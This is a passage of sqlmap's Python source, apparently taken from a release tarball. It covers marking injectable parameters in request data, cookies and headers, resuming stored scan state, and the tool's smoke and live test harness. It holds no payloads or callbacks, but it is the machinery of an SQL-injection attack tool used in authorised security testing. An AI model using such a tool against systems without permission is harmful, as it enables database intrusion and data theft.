retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) else: break if CUSTOM_INJECTION_MARK_CHAR in retVal: hintNames.append((retVal.split(CUSTOM_INJECTION_MARK_CHAR)[0], match.group("name"))) return retVal if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data: message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR message += "'--data'. Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException else: kb.processUserMarks = not test or test[0] not in ("n", "N") if kb.processUserMarks: kb.testOnlyCustom = True if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): message = "JSON data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) if match and not (conf.testParameter and match.group("name") not in conf.testParameter): _ = match.group(2) _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _) _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): message = "JSON-like data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.JSON_LIKE elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): message = "Array-like data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data) kb.postHint = POST_HINT.ARRAY_LIKE elif re.search(XML_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): message = "Multipart-like data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.MULTIPART if not kb.postHint: if CUSTOM_INJECTION_MARK_CHAR in conf.data: # later processed pass else: place = PLACE.POST conf.parameters[place] = conf.data paramDict = paramToDict(place, conf.data) if paramDict: conf.paramDict[place] = paramDict testableParameters = True else: if CUSTOM_INJECTION_MARK_CHAR not in conf.data: # in case that no usable parameter values has been found conf.parameters[PLACE.POST] = conf.data kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR in conf.data) else kb.processUserMarks if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. www.site.com/article.php?id=1) " warnMsg += "and without providing any POST parameters " warnMsg += "through --data option" logger.warn(warnMsg) message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif not test or test[0] not in ("n", "N"): conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR) kb.processUserMarks = True for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" if CUSTOM_INJECTION_MARK_CHAR in _: if kb.processUserMarks is None: lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException else: kb.processUserMarks = not test or test[0] not in ("n", "N") if kb.processUserMarks: kb.testOnlyCustom = True if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: query = urlparse.urlsplit(value).query if query: parameters = conf.parameters[PLACE.GET] = query paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.url = conf.url.split('?')[0] conf.paramDict[PLACE.GET] = paramDict testableParameters = True elif place == PLACE.CUSTOM_POST: conf.parameters[PLACE.POST] = conf.data paramDict = paramToDict(PLACE.POST, conf.data) if paramDict: conf.paramDict[PLACE.POST] = paramDict testableParameters = True else: conf.parameters[place] = value conf.paramDict[place] = OrderedDict() if place == PLACE.CUSTOM_HEADER: for index in xrange(len(conf.httpHeaders)): header, value = conf.httpHeaders[index] if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): parts = value.split(CUSTOM_INJECTION_MARK_CHAR) for i in xrange(len(parts) - 1): conf.paramDict[place]["%s #%d%s" % (header, i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts)))) conf.httpHeaders[index] = (header, value.replace(CUSTOM_INJECTION_MARK_CHAR, "")) else: parts = value.split(CUSTOM_INJECTION_MARK_CHAR) for i in xrange(len(parts) - 1): name = None if kb.postHint: for ending, _ in hintNames: if parts[i].endswith(ending): name = "%s %s" % (kb.postHint, _) break if name is None: name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, CUSTOM_INJECTION_MARK_CHAR) conf.paramDict[place][name] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))) if place == PLACE.URI and PLACE.GET in conf.paramDict: del conf.paramDict[PLACE.GET] elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict: del conf.paramDict[PLACE.POST] testableParameters = True if kb.processUserMarks: for item in ("url", "data", "agent", "referer", "cookie"): if conf.get(item): conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "") # Perform checks on Cookie parameters if conf.cookie: conf.parameters[PLACE.COOKIE] = conf.cookie paramDict = paramToDict(PLACE.COOKIE, conf.cookie) if paramDict: conf.paramDict[PLACE.COOKIE] = paramDict testableParameters = True # Perform checks on header values if conf.httpHeaders: for httpHeader, headerValue in list(conf.httpHeaders): # Url encoding of the header values should be avoided # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value if httpHeader.title() == HTTP_HEADER.USER_AGENT: conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) if condition: conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} testableParameters = True elif httpHeader.title() == HTTP_HEADER.REFERER: conf.parameters[PLACE.REFERER] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) if condition: conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} testableParameters = True elif httpHeader.title() == HTTP_HEADER.HOST: conf.parameters[PLACE.HOST] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) if condition: conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} testableParameters = True else: condition = intersect(conf.testParameter, [httpHeader], True) if condition: conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, CUSTOM_INJECTION_MARK_CHAR)} conf.httpHeaders = [(header, value.replace(CUSTOM_INJECTION_MARK_CHAR, "")) for header, value in conf.httpHeaders] testableParameters = True if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " errMsg += "parameter, neither an User-Agent, Referer or Host header value" raise SqlmapGenericException(errMsg) elif not testableParameters: errMsg = "all testable parameters you provided are not present " errMsg += "within the given request data" raise SqlmapGenericException(errMsg) if conf.csrfToken: if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " test = readInput(message, default="N") if test and test[0] in ("y", "Y"): conf.csrfToken = parameter break def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. """ if not conf.hashDBFile: conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite") if os.path.exists(conf.hashDBFile): if conf.flushSession: try: os.remove(conf.hashDBFile) logger.info("flushing session file") except OSError, msg: errMsg = "unable to flush the session file (%s)" % msg raise SqlmapFilePathException(errMsg) conf.hashDB = HashDB(conf.hashDBFile) def _resumeHashDBValues(): """ Resume stored data values from HashDB """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if kb.errorChunkLength and kb.errorChunkLength.isdigit(): kb.errorChunkLength = int(kb.errorChunkLength) else: kb.errorChunkLength = None conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ injection.parameter in conf.paramDict[injection.place]: if not conf.tech or intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()): injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items())) if injection not in kb.injections: kb.injections.append(injection) _resumeDBMS() _resumeOS() def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: dbms = _.group(1).lower() dbmsVersion = [_.group(2)] if conf.dbms: check = True for aliases, _, _, _ in DBMS_DICT.values(): if conf.dbms.lower() in aliases and dbms not in aliases: check = False break if not check: message = "you provided '%s' as a back-end DBMS, " % conf.dbms message += "but from a past scan information on the target URL " message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " test = readInput(message, default="N") if not test or test[0] in ("n", "N"): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: infoMsg = "resuming back-end DBMS '%s' " % dbms logger.info(infoMsg) Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) def _resumeOS(): """ Resume stored OS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.OS) if not value: return os = value if os and os != 'None': infoMsg = "resuming back-end DBMS operating system '%s' " % os logger.info(infoMsg) if conf.os and conf.os.lower() != os.lower(): message = "you provided '%s' as back-end DBMS operating " % conf.os message += "system, but from a past scan information on the " message += "target URL sqlmap assumes the back-end DBMS " message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " test = readInput(message, default="N") if not test or test[0] in ("n", "N"): conf.os = os else: conf.os = os Backend.setOs(conf.os) def _setResultsFile(): """ Create results file for storing results of running in a multiple target mode. """ if not conf.multipleTargets: return if not conf.resultsFP: conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) try: conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) except (OSError, IOError), ex: try: warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) conf.resultsFilename = tempfile.mkstemp(prefix="sqlmapresults-", suffix=".csv")[1] conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename logger.warn(warnMsg) except IOError, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep) logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) def _createFilesDir(): """ Create the file directory. """ if not conf.rFile: return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): try: os.makedirs(conf.filePath, 0755) except OSError, ex: tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) conf.filePath = tempDir def _createDumpDir(): """ Create the dump directory. """ if not conf.dumpTable and not conf.dumpAll and not conf.search: return conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath, 0755) except OSError, ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) conf.dumpPath = tempDir def _configureDumper(): if hasattr(conf, 'xmlFile') and conf.xmlFile: conf.dumper = xmldumper else: conf.dumper = dumper conf.dumper.setOutputFile() def _createTargetDirs(): """ Create the output directory. """ if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): try: if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH logger.warn(warnMsg) except (OSError, IOError), ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") except Exception, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) warnMsg = "unable to create regular output directory " warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) paths.SQLMAP_OUTPUT_PATH = tempDir conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.outputPath): try: os.makedirs(conf.outputPath, 0755) except (OSError, IOError), ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") except Exception, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) conf.outputPath = tempDir try: with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f: f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) if conf.data: f.write("\n\n%s" % getUnicode(conf.data)) except IOError, ex: if "denied" in getUnicode(ex): errMsg = "you don't have enough permissions " else: errMsg = "something went wrong while trying " errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex)) raise SqlmapMissingPrivileges(errMsg) _createDumpDir() _createFilesDir() _configureDumper() def _restoreMergedOptions(): """ Restore merged options (command line, configuration file and default values) that could be possibly changed during the testing of previous target. """ for option in RESTORE_MERGED_OPTIONS: conf[option] = mergedOptions[option] def initTargetEnv(): """ Initialize target environment. """ if conf.multipleTargets: if conf.hashDB: conf.hashDB.close() if conf.cj: resetCookieJar(conf.cj) conf.paramDict = {} conf.parameters = {} conf.hashDBFile = None _setKnowledgeBaseAttributes(False) _restoreMergedOptions() _setDBMS() if conf.data: class _(unicode): pass kb.postUrlEncode = True for key, value in conf.httpHeaders: if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): kb.postUrlEncode = "urlencoded" in value break if kb.postUrlEncode: original = conf.data conf.data = _(urldecode(conf.data)) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original def setupTargetEnv(): _createTargetDirs() _setRequestParams() _setHashDB() _resumeHashDBValues() _setResultsFile() _setAuthCred() sqlmap-1.0.4/lib/core/testing.py000066400000000000000000000247051270044205500165450ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import doctest import os import re import shutil import sys import tempfile import time import traceback from extra.beep.beep import beep from lib.controller.controller import start from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import randomStr from lib.core.common import readXmlFile from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapNotVulnerableException from lib.core.log import LOGGER_HANDLER from lib.core.option import init from lib.core.option import initOptions from lib.core.option import setVerbosity from lib.core.optiondict import optDict from lib.core.settings import UNICODE_ENCODING from lib.parse.cmdline import cmdLineParser class Failures(object): failedItems = None failedParseOn = None failedTraceBack = None def smokeTest(): """ Runs the basic smoke testing of a program """ retVal = True count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra")): continue for ifile in files: length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra")): continue for ifile in files: if os.path.splitext(ifile)[1].lower() == ".py" and ifile != "__init__.py": path = os.path.join(root, os.path.splitext(ifile)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') try: __import__(path) module = sys.modules[path] except Exception, msg: retVal = False dataToStdout("\r") errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, ifile), msg) logger.error(errMsg) else: # Run doc tests # Reference: http://docs.python.org/library/doctest.html (failure_count, test_count) = doctest.testmod(module) if failure_count > 0: retVal = False count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) clearConsoleLine() if retVal: logger.info("smoke test final result: PASSED") else: logger.error("smoke test final result: FAILED") return retVal def adjustValueType(tagName, value): for family in optDict.keys(): for name, type_ in optDict[family].items(): if type(type_) == tuple: type_ = type_[0] if tagName == name: if type_ == "boolean": value = (value == "True") elif type_ == "integer": value = int(value) elif type_ == "float": value = float(value) break return value def liveTest(): """ Runs the test of a program against the live testing environment """ retVal = True count = 0 global_ = {} vars_ = {} livetests = readXmlFile(paths.LIVE_TESTS_XML) length = len(livetests.getElementsByTagName("case")) element = livetests.getElementsByTagName("global") if element: for item in element: for child in item.childNodes: if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value")) element = livetests.getElementsByTagName("vars") if element: for item in element: for child in item.childNodes: if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): var = child.getAttribute("value") vars_[child.tagName] = randomStr(6) if var == "random" else var for case in livetests.getElementsByTagName("case"): parse_from_console_output = False count += 1 name = None parse = [] switches = dict(global_) value = "" vulnerable = True result = None if case.hasAttribute("name"): name = case.getAttribute("name") if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)): continue if case.getElementsByTagName("switches"): for child in case.getElementsByTagName("switches")[0].childNodes: if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): value = replaceVars(child.getAttribute("value"), vars_) switches[child.tagName] = adjustValueType(child.tagName, value) if case.getElementsByTagName("parse"): for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"): if item.hasAttribute("value"): value = replaceVars(item.getAttribute("value"), vars_) if item.hasAttribute("console_output"): parse_from_console_output = bool(item.getAttribute("console_output")) parse.append((value, parse_from_console_output)) conf.verbose = global_.get("verbose", 1) setVerbosity() msg = "running live test case: %s (%d/%d)" % (name, count, length) logger.info(msg) initCase(switches, count) test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING) test_case_fd.write("%s\n" % name) try: result = runCase(parse) except SqlmapNotVulnerableException: vulnerable = False finally: conf.verbose = global_.get("verbose", 1) setVerbosity() if result is True: logger.info("test passed") cleanCase() else: errMsg = "test failed" if Failures.failedItems: errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems) errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH errMsg += " - traceback: %s" % bool(Failures.failedTraceBack) if not vulnerable: errMsg += " - SQL injection not detected" logger.error(errMsg) test_case_fd.write("%s\n" % errMsg) if Failures.failedParseOn: console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) console_output_fd.write(Failures.failedParseOn) console_output_fd.close() if Failures.failedTraceBack: traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) traceback_fd.write(Failures.failedTraceBack) traceback_fd.close() beep() if conf.stopFail is True: return retVal test_case_fd.close() retVal &= bool(result) dataToStdout("\n") if retVal: logger.info("live test final result: PASSED") else: logger.error("live test final result: FAILED") return retVal def initCase(switches, count): Failures.failedItems = [] Failures.failedParseOn = None Failures.failedTraceBack = None paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH) LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-") cmdLineOptions = cmdLineParser() if switches: for key, value in switches.items(): if key in cmdLineOptions.__dict__: cmdLineOptions.__dict__[key] = value initOptions(cmdLineOptions, True) init() def cleanCase(): shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) def runCase(parse): retVal = True handled_exception = None unhandled_exception = None result = False console = "" try: result = start() except KeyboardInterrupt: pass except SqlmapBaseException, e: handled_exception = e except Exception, e: unhandled_exception = e finally: sys.stdout.seek(0) console = sys.stdout.read() LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ if unhandled_exception: Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) retVal = None elif handled_exception: Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) retVal = None elif result is False: # this means no SQL injection has been detected - if None, ignore retVal = False console = getUnicode(console, encoding=sys.stdin.encoding) if parse and retVal: with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: content = f.read() for item, parse_from_console_output in parse: parse_on = console if parse_from_console_output else content if item.startswith("r'") and item.endswith("'"): if not re.search(item[2:-1], parse_on, re.DOTALL): retVal = None Failures.failedItems.append(item) elif item not in parse_on: retVal = None Failures.failedItems.append(item) if Failures.failedItems: Failures.failedParseOn = console elif retVal is False: Failures.failedParseOn = console return retVal def replaceVars(item, vars_): retVal = item if item and vars_: for var in re.findall("\$\{([^}]+)\}", item): if var in vars_: retVal = retVal.replace("${%s}" % var, vars_[var]) return retVal sqlmap-1.0.4/lib/core/threads.py000066400000000000000000000142641270044205500165210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import difflib import threading import time import traceback from thread import error as ThreadError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION shared = AttribDict() class _ThreadData(threading.local): """ Represents thread independent data """ def __init__(self): self.reset() def reset(self): """ Resets thread data model """ self.disableStdOut = False self.hashDBCursor = None self.inTransaction = False self.lastComparisonPage = None self.lastComparisonHeaders = None self.lastErrorPage = None self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 self.lastRedirectURL = None self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared self.valueStack = [] ThreadData = _ThreadData() def getCurrentThreadUID(): return hash(threading.currentThread()) def readInput(message, default=None): # It will be overwritten by original from lib.core.common pass def getCurrentThreadData(): """ Returns current thread's local data """ global ThreadData return ThreadData def getCurrentThreadName(): """ Returns current's thread name """ return threading.current_thread().getName() def exceptionHandledFunction(threadFunction): try: threadFunction() except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True raise except Exception, ex: # thread is just going to be silently killed logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation if PYVERSION >= "2.6": thread.daemon = True else: thread.setDaemon(True) def 